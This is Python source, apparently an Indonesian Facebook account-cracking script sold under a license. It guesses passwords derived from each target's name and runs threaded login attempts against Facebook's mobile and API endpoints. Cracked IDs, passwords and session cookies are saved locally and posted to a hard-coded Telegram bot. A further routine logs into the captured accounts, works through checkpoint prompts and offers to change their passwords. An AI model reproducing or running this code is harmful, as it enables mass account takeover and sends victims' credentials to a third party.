- elif hu in ['3','random']:
- for bacot in id:
- xx = random.randint(0,len(id2))
- id2.insert(xx,bacot)
- else:
- print('╰─ input correctly ')
- exit()
- print('')
- print('')
- prints(nel(f'''\t{P2}[{H2}1{P2}] Metode P P\t[{H2}2{P2}] Metode Jadul\n\t[{H2}3{P2}] Metode Api garph"''',width=80,style=f"{color_panel}"))
- hc = input('[•] Pilih : ')
- if hc in ['1','01']:
- method.append('mobile')
- elif hc in ['2','02']:
- method.append('free')
- elif hc in ['3','03']:
- method.append('mbasic')
- else:
- method.append('mobile')
- su()
- def su():
- prints(nel(f"\t{P2}[{H2}1{P2}]. 321 + 123 + 12345 [ {K2}Kurang Efektif {P2}]\n\t[{H2}2{P2}]. 123 + 12345 + 123456 [ {M2}Kurang Meyakinkan {P2}]\n\t[{H2}3{P2}]. 123 + 1234 + 12345 [{H2} Disarankan Ini {P2}]\n\t[{H2}4{P2}]. 123 + 12345 [{H2} Disarankan Ini {P2}]",width=80,style=f"{color_panel}"))
- ch = input('[•] Pilih : ')
- if ch in ['1','01']:
- babi()
- elif ch in ['2','02']:
- sulap()
- elif ch in ['3','03']:
- passu()
- elif ch in ['4','04']:
- mie()
- else:
- passu()
- def mie():
- global prog,des
- print('')
- print(f'OK{x} Save in : {h}OK/%s {x}'%(okc))
- print(f'CP{x} Save in : {k}CP/%s {x}'%(cpc))
- print('')
- prints(f' Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
- prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id))
- with prog:
- with tred(max_workers=30) as pool:
- for yuzong in id2:
- idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
- frs = nmf.split(' ')[0]
- pwv = []
- if len(nmf)<6:
- if len(frs)<3:
- pass
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'12345')
- else:
- if len(frs)<3:
- pwv.append(nmf)
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'12345')
- if 'ya' in pwpluss:
- for xpwd in pwnya:
- pwv.append(xpwd)
- else:pass
- if 'mobile' in method:
- pool.submit(crack,idf,pwv)
- elif 'free' in method:
- pool.submit(crackfree,idf,pwv)
- elif 'mbasic' in method:
- pool.submit(crackmbasic,idf,pwv)
- else:
- pool.submit(crack,idf,pwv)
- print('')
- cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
- print('')
- def passu():
- global prog,des
- print('')
- print(f'OK{x} Save in : {h}OK/%s {x}'%(okc))
- print(f'CP{x} Save in : {k}CP/%s {x}'%(cpc))
- print('')
- prints(f' Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
- prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id))
- with prog:
- with tred(max_workers=30) as pool:
- for yuzong in id2:
- idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
- frs = nmf.split(' ')[0]
- pwv = []
- if len(nmf)<6:
- if len(frs)<3:
- pass
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'1234')
- pwv.append(frs+'12345')
- else:
- if len(frs)<3:
- pwv.append(nmf)
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'1234')
- pwv.append(frs+'12345')
- if 'ya' in pwpluss:
- for xpwd in pwnya:
- pwv.append(xpwd)
- else:pass
- if 'mobile' in method:
- pool.submit(crack,idf,pwv)
- elif 'free' in method:
- pool.submit(crackfree,idf,pwv)
- elif 'mbasic' in method:
- pool.submit(crackmbasic,idf,pwv)
- else:
- pool.submit(crack,idf,pwv)
- print('')
- cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
- print('')
- def sulap():
- global prog,des
- print('')
- print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
- print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
- print(f'╰─ Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
- prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id))
- with prog:
- with tred(max_workers=30) as pool:
- for yuzong in id2:
- idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
- frs = nmf.split(' ')[0]
- pwv = []
- if len(nmf)<6:
- if len(frs)<3:
- pass
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'12345')
- pwv.append(frs+'123456')
- else:
- if len(frs)<3:
- pwv.append(nmf)
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'12345')
- pwv.append(frs+'123456')
- if 'ya' in pwpluss:
- for xpwd in pwnya:
- pwv.append(xpwd)
- else:pass
- if 'mobile' in method:
- pool.submit(crack,idf,pwv)
- elif 'free' in method:
- pool.submit(crackfree,idf,pwv)
- elif 'mbasic' in method:
- pool.submit(crackmbasic,idf,pwv)
- else:
- pool.submit(crack,idf,pwv)
- print('')
- cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
- print('')
- def babi():
- global prog,des
- print('')
- print(f'╰─ {h}OK{x} Save in : {h}OK/%s {x}'%(okc))
- print(f'╰─ {k}CP{x} Save in : {k}CP/%s {x}'%(cpc))
- print(f'╰─ Mati/hidupkan Mode terbang 500 id Jika Tidak Ada Hasil\n')
- prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id))
- with prog:
- with tred(max_workers=30) as pool:
- for yuzong in id2:
- idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
- frs = nmf.split(' ')[0]
- pwv = []
- if len(nmf)<6:
- if len(frs)<3:
- pass
- else:
- pwv.append(nmf)
- pwv.append(frs+'321')
- pwv.append(frs+'123')
- pwv.append(frs+'12345')
- else:
- if len(frs)<3:
- pwv.append(nmf)
- else:
- pwv.append(nmf)
- pwv.append(frs+'321')
- pwv.append(frs+'123')
- pwv.append(frs+'12345')
- if 'ya' in pwpluss:
- for xpwd in pwnya:
- pwv.append(xpwd)
- else:pass
- if 'mobile' in method:
- pool.submit(crack,idf,pwv)
- elif 'free' in method:
- pool.submit(crackfree,idf,pwv)
- elif 'mbasic' in method:
- pool.submit(crackmbasic,idf,pwv)
- else:
- pool.submit(crack,idf,pwv)
- print('')
- cetak('╰─ Sucses Cracked %s Ok:%s Cp:%s Akuntod'%((len(id)),ok,cp))
- print('')
- def crack(idf,pwv):
- global loop,ok,cp
- bi = random.choice(['\33[m'])
- pers = loop*100/len(id2)
- fff = '%'
- prog.update(des,description=f'\r[deep_white] Kok Api {(loop)}/{len(id)}[/] [green]OK[/]:[green]{(ok)} [/]=[yellow] CP[/]:[yellow]{(cp)}')
- prog.advance(des)
- ses = requests.Session()
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- for pw in pwv:
- try:
- ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://m.facebook.com/login.php?skip_api_login=1&api_key=222161937813280&kid_directed_site=0&app_id=222161937813280&signed_next=1&next=https%3A%2F%2Fwww.facebook.com%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D222161937813280%26redirect_uri%3Dhttps%253A%252F%252Faccount.xiaomi.com%252Fpass%252Fsns%252Flogin%252Fload%26state%3DSTATE_248222%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D11699442-ce8e-4d69-8952-fb5f6b0c3d12%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccount.xiaomi.com%2Fpass%2Fsns%2Flogin%2Fload%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DSTATE_248222%23_%3D_&display=page&locale=id_ID&pl_dbl=0&_rdc=1&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-dest': 'document','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
- po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
- if "checkpoint" in po.cookies.get_dict().keys():
- print(f'\r├── Email : {kk}{idf}{P} {kk}{pw} {P}\n└── User Agent : {kk}{ua}{P} ')
- requests.post(f"https://api.telegram.org/bot5810664299:AAEOfFNt6AJuLahHutMyX6E0BQSbODSbgGU/sendMessage?chat_id=5812965999&text={idf}|{pw} akun cp").json()
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- kukis = kuki.replace(f'c_user={idf};datr','sb')
- print(f'\r├── Email : {hh}{idf}{P} {hh}{pw} {P}\n└── Cookie : {hh}{kukis}{P}')
- requests.post(f"https://api.telegram.org/bot5810664299:AAEOfFNt6AJuLahHutMyX6E0BQSbODSbgGU/sendMessage?chat_id=5812965999&text={idf}|{pw}{kuki} akun ok").json()
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(3)
- loop+=1
- def crackfree(idf,pwv):
- global loop,ok,cp
- bi = random.choice(['\33[m'])
- pers = loop*100/len(id2)
- fff = '%'
- prog.update(des,description=f'\r[deep_white] M2 {(loop)}/{len(id)}[/] [green]OK[/]:[green]{(ok)} [/]=[yellow] CP[/]:[yellow]{(cp)}')
- prog.advance(des)
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- for pw in pwv:
- try:
- ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
- po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
- if "checkpoint" in po.cookies.get_dict().keys():
- print(f'\r├── Email : {kk}{idf}{P} {kk}{pw} {P}\n└── User Agent : {kk}{ua}{P} ')
- requests.post(f"https://api.telegram.org/bot5810664299:AAEOfFNt6AJuLahHutMyX6E0BQSbODSbgGU/sendMessage?chat_id=5812965999&text={idf}|{pw}akun cp").json()
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- kukis = kuki.replace(f'c_user={idf};datr','sb')
- print(f'\r├── Email : {hh}{idf}{P} {hh}{pw} {P}\n└── Cookie : {hh}{kukis}{P}')
- requests.post(f"https://api.telegram.org/bot5810664299:AAEOfFNt6AJuLahHutMyX6E0BQSbODSbgGU/sendMessage?chat_id=5812965999&text={idf}|{pw}{kuki} akun ok").json()
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(3)
- loop+=1
- def crackmbasic(idf,pwv):
- global loop,ok,cp
- bi = random.choice(['\33[m'])
- pers = loop*100/len(id2)
- fff = '%'
- prog.update(des,description=f'\r[deep_white] M2 {(loop)}/{len(id)}[/] [green]OK[/]:[green]{(ok)} [/]=[yellow] CP[/]:[yellow]{(cp)}')
- prog.advance(des)
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- for pw in pwv:
- try:
- head = {
- "x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)),
- "x-fb-sim-hni": str(random.randint(20000, 40000)),
- "x-fb-net-hni": str(random.randint(20000, 40000)),
- "x-fb-connection-quality": "EXCELLENT",
- "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA",
- "user-agent": ua,
- "content-type": "application/x-www-form-urlencoded",
- "x-fb-http-engine": "Liger"
- }
- resp = ses.get("https://b-api.facebook.com/method/auth.login?format=json&email="+str(idf)+"&password="+str(pw)+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20¤tly_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=head)
- if "www.facebook.com" in resp.json()["error_msg"]:
- if 'ya' in oprek:
- akun.append(idf+'|'+pw)
- ceker(idf,pw)
- else:
- print(f'├── Email : {kk}{idf}{P} \n│ └── Sandi : {kk}{pw}{P}\n└── User Agent : {kk}{ua}{P} ')
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "session_key" in resp.text and "EAAA" in resp.text:
- print(f'├── Email : {hh}{idf}{P} \n│ └── sandi : {hh}{pw} {P}\n└── Cookie : {hh}{kuki}{P}')
- open('OK/'+okc,'a').write(idf+'|'+pw+'\n')
- ok+=1
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(3)
- loop+=1
- def getkey():
- import json, requests
- try:
- openkey = open(".key.txt","r").read()
- files = openkey.split("\n")[1]
- key = openkey.split("\n")[0]
- except FileNotFoundError:
- os.system("clear")
- none();time.sleep(1)
- print("")
- print("\033[0m╰─ Authour Meledak XD TOD ")
- print("\033[0m╰─ License Anda Tidak Tersedia ");time.sleep(2)
- print ("")
- jalan("\033[0m╰─ license anda :\033[32m "+crot);time.sleep(1)
- namamu = input("\033[0m╰─ nama anda : ")
- yt = input("\033[0m╰─ Chat Admin Untuk Beli Lisensi y/t? > ")
- if yt in ["Y","y"]:
- os.system("xdg-open https://wa.me/+6281322544391?text=Assalamualaikum+bang+Meledak,+aku+mau+beli+scriptnya+tapi+yang+versi+premium.+Ini+lisensinya:%20"+crot+"+konfitmasi+nama+pembeli:%20"+namamu)
- open(".key.txt","w").write(crot+"\n"+namamu)
- exit()
- else:
- exit("\033[0m╰─ Telah keluar program")
- try:
- confirmkey = requests.get("https://raw.githubusercontent.com/privatescrip/database/main/ya.json").json()
- except requests.exceptions.ConnectionError:
- print("\033[0m╰─ Jaringan Internet Kamu Tidak Ada");exit()
- if confirmkey[files] == key:
- if confirmkey[files] == "tidakada":
- print("\n\033[0m╰─ Lisensi key Kamu Sudah Kadaluarsa")
- os.system("rm -rf .key.txt");exit()
- else:
- print("\n\033[0m╰─ Lisensi key Kamu Sudah Aktif");time.sleep(1);login()
- else:
- print("\n\033[0m╰─ Lisensi key Kamu Sudah Kadaluarsa")
- os.system("rm -rf .key.txt");exit()
- import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
- import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
- from concurrent.futures import ThreadPoolExecutor
- from bs4 import BeautifulSoup as parser
- from threading import (Thread, Event)
- from time import sleep as jeda
- from datetime import datetime
- ct = datetime.now()
- n = ct.month
- bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
- try:
- if n < 0 or n > 12:
- exit()
- nTemp = n - 1
- except ValueError:
- exit()
- current = datetime.now()
- hari = current.day
- bulan = bulan_[nTemp]
- tahun = current.year
- bullan = current.month
- waktu = ("%s-%s-%s"%(hari,bulan,tahun))
- bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
- M = '\x1b[1;91m' # MERAH
- H = '\x1b[1;92m' # HIJAU
- K = '\x1b[1;93m' # KUNING
- B = '\x1b[1;94m' # BIRU
- U = '\x1b[1;95m' # UNGU
- O = '\x1b[1;96m' # BIRU MUDA
- P = '\x1b[1;97m' # PUTIH
- J = '\033[38;2;255;127;0;1m' # ORANGE
- N = '\x1b[0m' # WARNA MATI
- acak = [M, H, K, B, U, O, P, J]
- warna = random.choice(acak)
- til ="\033[0m╰─ "
- def jalan(keliling):
- for mau in keliling + '\n':
- sys.stdout.write(mau)
- sys.stdout.flush();jeda(0.03)
- ubah_pass = []
- pwbaru = []
- pwBaru = []
- ubahP = []
- def file_cp():
- dirs = os.listdir('CP')
- print ("%s%s%s [%s\033[0m \033[0mpilih hasil crack yg tersimpan untuk cek opsi %s]\n"%(U,til,O,U,O))
- for file in dirs:
- print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
- try:
- print("\n%s%s%s\033[0m Masukan file [ cth%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
- opsi()
- except IOError:
- print ('%s%s \033[0mfile tidak ada'%(M,til))
- exit()
- def opsi():
- CP = ("CP/")
- romi = input("%s%s%s \033[0mNama file %s> %s"%(U,til,O,M,K))
- if romi == "":
- print("%s%s \033[0misi yang benar "%(M,til));jeda(2)
- opsi()
- try:
- file_cp = open(CP+romi, "r").readlines()
- except IOError:
- exit("\n%s%s \033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
- jalan("%s%s%s\033[0m Mode pesawatkan terlebih dahulu 5 detik "%(U,til,O))
- pw=input("\n%s%s%s \033[0mubah sandi pada akun one tab? y/t %s> %s"%(U,til,O,M,K))
- if pw in['y','Y']:
- ubah_pass.append("ubah_sandi")
- pw2 = input("%s%s%s \033[0mmasukan sandi %s> %s"%(U,til,O,M,K))
- if len(pw2) <= 5:
- print("%s%s sandi minimal 6 karakter "%(M,til))
- else:
- pwbaru.append(pw2)
- print("\n %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
- print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
- print(" %s# %s---------------------------------------- %s#"%(P,M,P));jeda(2)
- nomor = 0
- for fb in file_cp:
- akun = fb.replace("\n","")
- ngecek = akun.split("|")
- nomor+=1
- print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
- try:
- mengecek(ngecek[0].replace("",""), ngecek[1])
- except requests.exceptions.ConnectionError:
- continue
- print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
- input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
- back()
- data = {}
- data2 = {}
- def mengecek(user,pw):
- global loop,ubah_pass,pwbaru
- session=requests.Session()
- ua = 'Mozilla/5.0 (Linux; Android 8.1.0; S45B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Mobile Safari/537.36'
- url = "https://mbasic.facebook.com"
- session.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
- soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
- link=soup.find("form",{"method":"post"})
- for x in soup("input"):
- data.update({x.get("name"):x.get("value")})
- data.update({"email":user,"pass":pw})
- urlPost=session.post(url+link.get("action"),data=data)
- response=bs4.BeautifulSoup(urlPost.text, "html.parser")
- if "c_user" in session.cookies.get_dict():
- if "Akun Anda Dikunci" in urlPost.text:
- print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
- else:
- print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
- open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
- elif "checkpoint" in session.cookies.get_dict():
- coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- title=re.findall("\<title>(.*?)<\/title>",str(response))
- link2=response.find("form",{"method":"post"})
- listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
- for x in response("input"):
- if x.get("name") in listInput:
- data2.update({x.get("name"):x.get("value")})
- an=session.post(url+link2.get("action"),data=data2)
- response2=bs4.BeautifulSoup(an.text,"html.parser")
- cek=[cek.text for cek in response2.find_all("option")]
- number=0
- print("\r%s╰─%s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
- if(len(cek)==0):
- if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
- if "ubah_sandi" in ubah_pass:
- dat,dat2={},{}
- but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
- for x in response("input"):
- if x.get("name") in but:
- dat.update({x.get("name"):x.get("value")})
- ubahPw=session.post(url+link2.get("action"),data=dat).text
